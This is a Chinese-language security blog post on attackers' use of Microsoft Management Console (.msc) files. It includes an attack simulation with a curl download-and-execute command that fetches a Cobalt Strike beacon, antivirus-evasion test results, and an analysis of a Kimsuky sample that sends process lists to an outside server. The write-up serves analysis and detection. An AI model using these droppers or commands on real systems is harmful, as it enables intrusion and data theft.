概论
在目前全球关于APT攻击事件已经不在于少数,高级持续威胁(APT)已成为全球威胁实验室关注的焦点。APT组织以其高度隐蔽性和持续性攻击策略,对全球多个行业构成了严重威胁。近期,研究显示APT组织开始利用Microsoft Management Console(MMC)中的MSC文件作为初始访问和逃避检测的手段。本文旨在深入分析APT如何利用MSC文件进行攻击,并探讨其逃避检测的方法。
一、MSC文件-论点
1.MSC文件的利用机制
MSC文件,作为Windows系统中用于存储管理设置的文件,其本身具有执行脚本和命令的能力。APT组织通过精心构造的MSC文件,可以在用户不知情的情况下执行恶意代码。例如,攻击者可能在MSC文件中嵌入PowerShell脚本包括exe等恶意文件类型,当用户打开该文件时,即被激活后可能会通过C2地址释放文件文档,MSC文件内容代码也可能会有建立某些权限维持的恶意脚本,从而实现对系统的完全控制。
2.初始访问的实现
APT组织通常通过社会工程学手段诱导目标用户打开恶意MSC文件。这些文件可能伪装成系统更新或重要通知,通过电子邮件或即时消息传播。一旦用户执行了这些文件,攻击者便获得了对目标系统的初始访问权限。
3.逃避检测的技术
为了逃避安全检测,APT组织采用了多种技术。首先,他们利用加密和混淆技术隐藏恶意代码(宏样本)来规避 ActiveX,使得传统的防病毒软件难以识别。其次,通过定时任务或系统服务的方式,将恶意活动伪装成正常的系统行为。此外,APT还可能利用零日漏洞,进一步提高逃避检测的成功率。
二、Microsoft Management Console (MMC) 接触
Microsoft Management Console (MMC) 是 Microsoft Windows 操作系统的一个组件,它提供了一个界面,允许系统管理员和高级用户配置和监控系统。MMC 最初于 1998 年随 Windows NT 4.0 的 Option Pack 发布,后来与 Windows 2000 及其后续版本捆绑在一起。
MMC 的主要功能是通过称为“管理单元”的组件对象模型 (COM) 组件来托管系统管理工具。这些管理单元提供了对各种系统功能的访问,例如设备管理器、磁盘管理、事件查看器和本地用户和组。此外,MMC 还允许创建自定义工具,这些工具可以用于管理特定的系统任务。
有关MMC漏洞
在2019年6月11日CPR发布了一篇文章是关于:WebView导致XSS和XML解析错误而导致的XXE漏洞文章 【MICROSOFT 管理控制台 (MMC) 漏洞】洞主要集中在以下几个方面:
-
跨站脚本 (XSS) 漏洞:攻击者可以通过构造的 .msc 文件,在 MMC 中执行恶意 JavaScript 代码。场景利用:攻击者可以利用 MMC 中的 WebView 组件,将包含 XSS 攻击代码的网页链接嵌入到 .msc 文件中,当受害者打开该文件时,恶意代码就会被执行。
-
XML 外部实体 (XXE) 漏洞:攻击者可以利用 MMC 中的 XML 解析器漏洞,通过包含 XXE 攻击代码的 XML 文件,访问受害者系统上的敏感信息。场景利用:攻击者可以构造一个包含 XXE 攻击代码的 XML 文件,并将其导入到 MMC 的事件查看器中,从而读取受害者系统上的文件内容,甚至执行远程代码。
-
ActiveX 控件漏洞:攻击者可以利用 MMC 中的 ActiveX 控件漏洞,将恶意代码注入到受害者的系统中。场景利用:攻击者可以将包含恶意代码的 ActiveX 控件嵌入到 .msc 文件中,当受害者打开该文件时,恶意代码就会被执行。
三、攻击模拟
目前这种技术叫 GrimResource,而且相关的恶意文件还是0检出,根据当前的手段来实现一个攻击模拟!三天前有关生成负载已公开,MSC Dropper Tools,MSC Dropper 是一个 Python 脚本,旨在自动创建带有可自定义有效负载的 MSC(Microsoft 管理控制台)文件,以实现任意执行。
MSC文件配合Cobalt strike
生成payload之后需要起一个服务和MSC Dropper 脚本配置进行生成一个带有马的msc文件!
┌──(kali㉿kali)-[~/Desktop/MSC_Dropper-main]
└─$ python3 msc_dropper.py template1.msc out.msc "cmd /c curl -O http://192.168.207.133:8000/beacon.exe && beacon.exe"
Successfully replaced placeholder in template1.msc and saved to out.msc.
运行后原本template1.msc 中的占位符会保存到 out.msc中,整个过程MSC文件成功落地!运行有效性!
通过上面整个有效性的过程验证完毕后,我使用wireshark捕获了大概的一个流程!,在我运行后使用了请求法向我挂载CS马的地址发送一个请求,随后弹出一个命令窗口,CS随之上线。(这个验证时出现一些小问题,如果运行了MSC文件命令窗口有闪退情况CS可能不会上线,这个暂时不知道是什么原因)
而且可以通过加载其它恶意脚本或者读取文件方式进行利用!我们可以看章节二的文件内容。
这里还有一个技巧,我使用MMS管理器直接打开,EXE会直接落地........!
自执行EXE
四、MSC文件本体内容(免杀)
生成的out.msc本体是借助py脚本中的template1.msc内容
-
res://apds.dll/redirect.html?target=
部分指定了要加载的资源。javascript:eval(external.Document.ScopeNamespace.GetRoot().Name)
部分包含了恶意 JavaScript 代码,它使用 eval() 函数执行来自external.Document.ScopeNamespace.GetRoot().Name
的代码。 -
获取 MMC.exe 上下文中的
external.Document.ScopeNamespace.GetRoot().Name
属性的值,并执行该属性中包含的代码。 攻击者可以通过这种方式,在 MMC.exe 中执行任意代码,从而实现窃取信息、执行恶意代码等目的。
template1.msc载体加载部分通过py脚本将恶意文件托管地址进行载入
通过py脚本载入的恶意exe地址
-
xsl.loadXML(...)
使用loadXML()
方法加载一个包含恶意 VBScript 代码的 XSL 样式表。 -
XML.transformNode(xsl)
使用transformNode()
方法将 XML 文档根据 XSL 样式表进行转换。 -
XSL 样式表中的恶意 VBScript 代码被嵌入到转换后的 XML 文档中,并会被 MMC 执行。
-
创建一个
WScript.Shell
对象,用于执行系统命令。 -
使用
curl
命令从 192.168.207.133:8000 下载名为beacon.exe
的文件。 -
执行下载的
beacon.exe
文件。
混淆手法代码中使用了大量空格和换行符,尤其是 // Console Root 注释后面的代码段。
1.virustotal本体检测
b98286e81add97cfd59d6dcfc47a9dd1184475ab44301e95c1404a722565f456
2.火绒本体检测
这个类似于本体加载EXE的模式流程!通常有些可能会检测本体、代码特征、通信地址等,也可能会报红!
因为我是直接在Cobalt strike生成的exe,直接点击运行out.msc文件释放exe,会杀掉我的exe,在本体安然无恙的情况下,可以起到很好的一个伪装,不一定就是要使用这种方式!
3.天擎本体检测
五、APT样本内容分析
目前有一个样本是没有公开的,这里暂时先不放出来,这里拿2010年APT样本来分析。2010年Kimsuky 组织使用该手段针对韩国和日本进行攻击,该组织伪装朝鲜人权公职人员,通过社交软件寻找目标,通过伪装特定重要文件来发送恶意的文件地址,2010年的样本几乎被各各实验室人员标记为风险文件。
不同的是MSC文件是可以通过修改XML内的文件来修改文件图标
这个APT样本是读取信息然后像C2地址回传读取的信息,
-
打开 Google 文档:
-
start explorer "https://docs.google.com/document/d/..."
命令使用explorer
打开一个 Google 文档链接。
-
-
执行系统命令:
-
tasklist.exe > c:\users\public\temp
命令将系统进程列表输出到c:\users\public\temp
文件中。
-
-
检查 curl.exe 的存在:
-
使用 VBScript 代码检查
c:\windows\system32\curl.exe
和c:\Windows\sysnative\curl.exe
文件是否存在。 -
如果存在,则在结果中添加 "curl1 ok" 或 "curl2 ok"。
-
-
读取 temp 文件的内容:
-
使用 VBScript 代码读取
c:\users\public\temp
文件的内容,并将内容转换为小写字母。 -
将读取的内容添加到结果中。
-
-
使用 curl 发送 POST 请求:
-
使用 VBScript 代码创建一个
msxml2.xmlhttp
对象,并使用它向两个 URL 发送 POST 请求:-
http://brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php
-
https://brandwizer.co.in/green_pad/wp-content/plugins/custom-post-type-maker/kohei/r.php
-
-
POST 请求的数据包含了前面收集到的结果信息。
-
-
保存 VBScript 代码:
-
将收集到的结果信息保存到
c:\users\public\res
文件中。 -
将
c:\users\public\res
文件重命名为c:\users\public\res.vbs
。 -
使用
wscript /b c:\users\public\res.vbs
命令在后台执行res.vbs
文件。
-
恶意行为分析:
-
收集系统信息:该任务收集了系统进程列表,并检查了
curl.exe
的存在情况,这可能用于了解目标系统的配置和漏洞。 -
发送数据:该任务向
brandwizer.co.in
的特定路径发送了收集到的系统信息,这可能用于窃取系统信息或进行其他恶意操作。 -
执行 VBScript 代码:该任务使用 VBScript 代码,并执行了
res.vbs
文件,这可能包含其他恶意代码,例如下载恶意软件、窃取数据等。
其它方面与演示的没有什么不同,只是攻击方式载体不一样。
六、结束语
本文分析了一段 MMC 控制台配置文件的代码,揭示了其包含的潜在恶意行为,包括信息收集、发送数据和执行未知代码等。通过对代码的逐行分析,我们了解到恶意软件开发者可能会利用 MMC 文件作为载体来传播恶意软件或窃取敏感信息。
MMC 文件的结构和功能看似简单,但其背后的复杂性和潜在风险不容忽视,对于安全检出问题安全厂商也带来挑战。
七、IOCS
MD5
e86a24d9f3a42bbb8edc0ca1f8b3715c
SHA1
607e42fe2cb9f4be309b5b53cdef2693a704f37f
SHA256
433655572c0f319e576a451d069a29966f9d6b409207a649f286ab34d1c8cfeb
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)